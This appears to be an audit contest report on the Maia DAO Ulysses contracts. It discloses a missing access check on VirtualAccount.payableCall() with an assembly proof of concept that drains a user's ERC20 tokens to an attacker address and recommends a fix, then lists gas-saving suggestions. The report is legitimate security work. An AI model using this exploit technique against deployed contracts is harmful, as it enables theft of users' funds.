Maia DAO - Ulysses - marqymarq10's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85-L112

Vulnerability details

VirtualAccount.payableCall() function does not have access control.

Anyone can send any arbitrary transaction to the virtual account. Here is an example of a how to steal a users erc20 tokens This code was added to the end of MultiCallRootRouterTest.t.sol.testMulticallSignedNoOutputDepositSingle()

address token = newAvaxAssetGlobalAddress;
address _va = userVirtualAccount;
hevm.prank(0xa617E49DfBb5e615169b3d603B1d762654c2d8e9);
assembly {
    let mptr := mload(0x40)
    let oldMptr := mptr
    mstore(mptr, 0x62ffbaa2)
    mstore(add(mptr, 0x20), 0x20)
    mstore(add(mptr, 0x40), 0x01)
    mstore(add(mptr, 0x60), 0x20)
    mstore(add(mptr, 0x80), token)
    mstore(add(mptr, 0xa0), 0x60)
    mstore(add(mptr, 0xc0), 0x00)
    mstore(add(mptr, 0xe0), 0x44)
    mstore(add(mptr, 0x100), 0xa9059cbb000000000000000000000000a617e49dfbb5e615169b3d603b1d7626)
    mstore(add(mptr, 0x120), 0x54c2d8e9000000000000000000000000000000000000000000000002b5e3af16)
    mstore(add(mptr, 0x140), 0xb188000000000000000000000000000000000000000000000000000000000000)
    mstore(0x40, 0x160)
    let success := call(gas(), _va, 0,  add(oldMptr, 28), mload(0x40), 0x00, 0x200)
    if iszero(success) {
        revert(0,0)
    }
}
console2.log(MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount));
console2.log(MockERC20(newAvaxAssetGlobalAddress).balanceOf(0xa617E49DfBb5e615169b3d603B1d762654c2d8e9));

This code represents a malicious actor calling VirtualAccount.payableCall() with the calldata to transfer an ERC20 token from the VirtualAccount to the malicious actor.

Recommendation: Allow only approved addresses to call this function. This can be done with a require() statement in VirtualAccount.payableCall().

Assessed type

Access Control

** Issue #1 ** BranchBridgeAgent.sol : line: 447 Switch for loop to while loop Example: `` uint256 i = 0; uint256 len = deposit.tokens.length; while (i < len) {

        // execute code
        unchecked {
            ++i;
        }
    }

``

Issue #2 BranchBridgeAgent.sol | line: 513 Switch for loop to while loop Example:

        uint256 i = 0;
        uint256 len =  numOfAssets;
        while (i < len) {
           
            // execute code
            unchecked {
                ++i;
            }
        }

Issue #3 BaseBranchRouter.sol | line: 192 Switch for loop to while loop Example:

        uint256 i = 0;
        uint256 len =  _hTokens.length;
        while (i < len) {
           
            // execute code
            unchecked {
                ++i;
            }
        }

Issue #4

RootBridgeAgent.sol | line: 318 Switch for loop to while loop Example:

        uint256 i = 0;
        uint256 len =  settlement.hTokens.length;
        while (i < len) {
           
            // execute code
            unchecked {
                ++i;
            }
        }

Issue #4 RootBridgeAgent.sol | line: 399 Switch for loop to while loop Example:

        uint256 i = 0;
        uint256 len =  _dParams.hTokens.length;
        while (i < len) {
           
            // execute code
            unchecked {
                ++i;
            }
        }

Issue #5 RootBridgeAgentExecutor.sol | line: 281 Switch for loop to while loop Example:

        uint256 i = 0;
        uint256 len =  uint256(uint8(numOfAssets));
        while (i < len) {
           
            // execute code
            unchecked {
                ++i;
            }
        }

Issue #6 VirtualAccount.sol | line: 70 Switch for loop to while loop Example:

        uint256 i = 0;
        uint256 len =  calls.length;
        while (i < len) {
           
            // execute code
            unchecked {
                ++i;
            }
        }

Issue #7 VirtualAccount.sol | line: 90 Switch for loop to while loop Example:

        uint256 i = 0;
        uint256 len =  calls.length;
        while (i < len) {
           
            // execute code
            unchecked {
                ++i;
            }
        }

Issue #8 ERC20hTokenBranchFactory.createToken Modifier requiresCoreRouterOrPort only called once. Cheaper to include the code inside the function. In addition, makes code more readable for developers.

Issue #9 ERC20hTokenRootFactory.createToken Modifier requiresCoreRouter only called once. Cheaper to include the code inside the function. In addition, makes code more readable for developers.

Issue #10 BranchBridgeAgent.callOutSystem Modifier requiresRouteronly called once. Cheaper to include the code inside the function. In addition, makes code more readable for developers.

Issue #11 BranchPort.addBridgeAgent Modifier requiresBridgeAgentFactory only called once Cheaper to include the code inside the function. In addition, makes code more readable for developers

Issue #12 BranchPort.manage Modifier requiresPortStrategey only called once Cheaper to include the code inside the function. In addition, makes code more readable for developers

Issue #13 RootBridgeAgent.approveBranchBridgeAgent Modifier requireManager only called once Cheaper to include the code inside the function. In addition, makes code more readable for developers

Issue #14 RootBridgeAgent.syncBranchBridgeAgent Modifier requirePort only called once Cheaper to include the code inside the function. In addition, makes code more readable for developers

Issue #15 RootBridgeAgent.lsRecieveNonBlocking Modifier requiresEndpoint only called once Cheaper to include the code inside the function. In addition, makes code more readable for developers

Issue #16 RootPort.addBridgeAgent Modifier requiresBridgeAgentFactory only called once Cheaper to include the code inside the function. In addition, makes code more readable for developers